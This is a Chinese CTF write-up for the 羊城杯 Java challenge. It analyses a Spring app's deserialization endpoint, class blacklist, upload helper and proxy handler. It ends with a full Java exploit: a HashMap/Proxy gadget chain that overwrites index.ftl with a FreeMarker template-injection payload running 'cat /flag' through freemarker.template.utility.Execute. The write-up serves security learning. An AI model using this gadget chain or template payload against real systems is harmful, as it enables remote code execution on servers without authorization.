羊城杯java题

因为我是windows所以就修改了配置文件

1
template-loader-path: file://D:\\templates\\

再把HtmlUploadUtil类里面的修改一下就行了

1
String realPath = "D:\\templates\\" + filename;

分析

首先看路由,找利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index() {
return "Welcome to YCB";
}

@RequestMapping({"/templating"})
public String templating(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return "index";
}

@RequestMapping({"/getflag"})
@ResponseBody
public String getflag(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}
}

发现在templating路由中,规划了模板文件的,在getflag中触发了反序列化,

先看模板文件index.ftl

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello</title>
</head>
<body>
你是谁?
我是${name}
</body>
</html>

发现这里直接把name值丢过去了,这里能触发xss,但是没什么用,

继续看getflag中反序列化中跟进NewObjectInputStream

1
2
3
4
5
6
7
8
9
10
11
12
    public NewObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (BLACKLISTED_CLASSES.contains(desc.getName())) {
throw new SecurityException("Class not allowed: " + desc.getName());
}
return super.resolveClass(desc);
}
}

发现过滤了这些类

1
2
3
4
5
BLACKLISTED_CLASSES.add("java.lang.Runtime");
BLACKLISTED_CLASSES.add("java.lang.ProcessBuilder");
BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLISTED_CLASSES.add("java.security.SignedObject");
BLACKLISTED_CLASSES.add("com.sun.jndi.ldap.LdapAttribute");

又是1.8的依赖应禁用2次反序列了,只有看他自己的类了发现

看名字首先想着是可以利用的点看名字发现有个upload在HtmlUploadUtil类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static boolean uploadfile(String filename, String content) {
if (filename != null && !filename.endsWith(".ftl")) {
return false;
}
String realPath = "D:\\templates\\" + filename;
if (realPath.contains("../") || realPath.contains("..\\")) {
return false;
}
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
writer.write(content);
writer.close();
return true;
} catch (IOException e) {
System.err.println("Error uploading file: " + e.getMessage());
return false;
}
}

发现只运行上传文件后缀为.ftl而且不能保含有.//或者..\\的文件在外面的模板文件里面,想起之前的那个路由只返回了index所以要利用的话只有上upload了

跟进哪能能调用这个方法发现在类Htmlmap中get方法中

1
2
3
4
5
6
7
8
public Object get(Object key) {
try {
Object obj = Boolean.valueOf(HtmlUploadUtil.uploadfile(this.filename, this.content));
return obj;
} catch (Exception e) {
throw new RuntimeException(e);
}
}

而这里this.filename, this.content没有构造方法,我们可以反射修改上去

然后看哪里能调用get方,get方法回顾一下之前cc链 c1链AnnotationInvocationHandler.invoke会调用,还有 c7链的hashmap(AbstractMap)的equals,c6 链TiedMapEntry.getValue,

想到AnnotationInvocationHandler.invoke而且这里

也有类似的类HtmlInvocationHandler 继承了InvocationHandler,想到动态代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class HtmlInvocationHandler implements InvocationHandler, Serializable {
public Map obj;

public HtmlInvocationHandler() {
}

public HtmlInvocationHandler(Map obj) {
this.obj = obj;
}

@Override // java.lang.reflect.InvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = this.obj.get(method.getName());
return result;
}

怎么触发这个invoke就是关键了

c3链的管网wp是BadAttributeValueExpException的tostring

但是我用的是hashcode

再分析一次在hashcode反序列化后会调用readobject的putVal(hash(key), key, value, false, false);

继续跟进hash发现会调用key.hashCode()这样就能触发invoke了

然后就是怎么返回读文件了freemarker模版注入 - Escape-w - 博客园 (cnblogs.com)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;

import java.io.*;
import java.lang.reflect.*;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class c {
public static void main(String[] args) throws Exception {
HtmlMap map = new HtmlMap();
setFieldValue(map,"content","<!DOCTYPE html>\n" +
"<html lang=\"en\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>Hello</title>\n" +
"</head>\n" +
"<body>\n" +
"你是谁?\n" +
"我是${name}\n" +
"<h3><#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}</h3>\n" +
"</body>\n" +
"</html>");
setFieldValue(map,"filename","index.ftl");
InvocationHandler map_handler = new HtmlInvocationHandler(map);

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

HashMap hashMap=new HashMap ();
hashMap.put("1","1");
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tab = Array.newInstance(nodeC, 1);
Array.set(tab, 0, nodeCons.newInstance(0, proxy_map, "baicany", null));
setFieldValue(hashMap, "table", tab);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
// ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(in);
// ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}